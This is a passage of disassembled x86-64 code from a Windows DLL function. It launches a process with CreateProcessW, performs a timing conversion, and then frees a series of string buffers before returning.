mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180005e16
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180016af4
mov rdi, rax
call fcn.180016ad8
mov r9, rax
cmp rdi, 0x989680
jne 0x180005d58
imul rax, r9, 0x64
jmp 0x180005dd1
cmp rdi, 0x16e3600
jne 0x180005db6
movabs r10, 0xb2f4fc0794908cf3
mov rax, r10
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, r10
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x180005dd1
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7ffffffed5fa0dff
cmp rax, rcx
jge 0x180005df7
movabs rcx, 0x12a05f200
add rcx, rax
mov qword [rsp + 0xe0], rcx
jmp 0x180005e09
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0xe0]
call fcn.18000cec0
call fcn.180006af0
nop
mov rdx, qword [rsp + 0x240]
cmp rdx, 7
jbe 0x180005e64
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005e5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064bd
call fcn.180018160
movdqu xmmword [rsp + 0x238], xmm6
mov word [rsp + 0x228], bx
mov rdx, qword [rsp + 0x260]
cmp rdx, 7
jbe 0x180005ebd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005eb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064c3
call fcn.180018160
movdqu xmmword [rsp + 0x258], xmm6
mov word [rsp + 0x248], bx
mov rdx, qword [rsp + 0x280]
cmp rdx, 7
jbe 0x180005f16
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064c9
call fcn.180018160
movdqu xmmword [rsp + 0x278], xmm6
mov word [rsp + 0x268], bx
mov rdx, qword [rsp + 0x2a0]
cmp rdx, 7
jbe 0x180005f6f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064cf
call fcn.180018160
movdqu xmmword [rsp + 0x298], xmm6
mov word [rsp + 0x288], bx
mov rdx, qword [rsp + 0x2c0]
cmp rdx, 7
jbe 0x180005fc8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005fc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064d5
call fcn.180018160
movdqu xmmword [rsp + 0x2b8], xmm6
mov word [rsp + 0x2a8], bx
mov rdx, qword [rsp + 0x2e0]
cmp rdx, 7
jbe 0x180006021
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000601c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064db
call fcn.180018160
movdqu xmmword [rsp + 0x2d8], xmm6
mov word [rsp + 0x2c8], bx
mov rdx, qword [rsp + 0x300]
cmp rdx, 7
jbe 0x18000607a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006075
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064e1
call fcn.180018160
movdqu xmmword [rsp + 0x2f8], xmm6
mov word [rsp + 0x2e8], bx
mov rdx, qword [rsp + 0x320]
cmp rdx, 7
jbe 0x1800060d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x308]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800060ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064e7
call fcn.180018160
movdqu xmmword [rsp + 0x318], xmm6
mov word [rsp + 0x308], bx
mov rdx, qword [rsp + 0x220]
cmp rdx, 7
jbe 0x18000612c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006127
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064ed
call fcn.180018160
movdqu xmmword [rsp + 0x218], xmm6
mov word [rsp + 0x208], bx
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 7
jbe 0x180006185
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006180
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064f3
call fcn.180018160
mov qword [rsp + 0x1d8], rbx
mov qword [rsp + 0x1e0], 7
mov word [rsp + 0x1c8], bx
mov rdx, qword [rsp + 0x200]
cmp rdx, 7
jbe 0x1800061e9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800061e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064f9
call fcn.180018160
mov qword [rsp + 0x1f8], rbx
mov qword [rsp + 0x200], 7
mov word [rsp + 0x1e8], bx
mov rdx, qword [rsp + 0x140]
cmp rdx, 7
jbe 0x18000624d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006248
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064ff
call fcn.180018160
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0x140], 7
mov word [rsp + 0x128], bx
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 7
jbe 0x1800062b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800062ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006505
call fcn.180018160
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], 7
mov word [rsp + 0x188], bx
mov rdx, qword [rsp + 0x180]
cmp rdx, 7
jbe 0x180006315
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006310
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000650b
call fcn.180018160
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], bx
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180006379
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006374
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006511
call fcn.180018160
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 7
mov word [rsp + 0x100], bx
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 7
jbe 0x1800063dd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800063d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006517
call fcn.180018160
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], 7
mov word [rsp + 0x1a8], bx
mov rdx, qword [rsp + 0x160]
cmp rdx, 7
jbe 0x180006441
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000643c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000651d
call fcn.180018160
mov eax, 1
mov rcx, qword [rsp + 0x1730]
xor rcx, rsp
call fcn.180018140
lea r11, [rsp + 0x1750]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
ret
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
int3
call fcn.18001fbf8
int3
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
nop
call fcn.18001fbf8
int3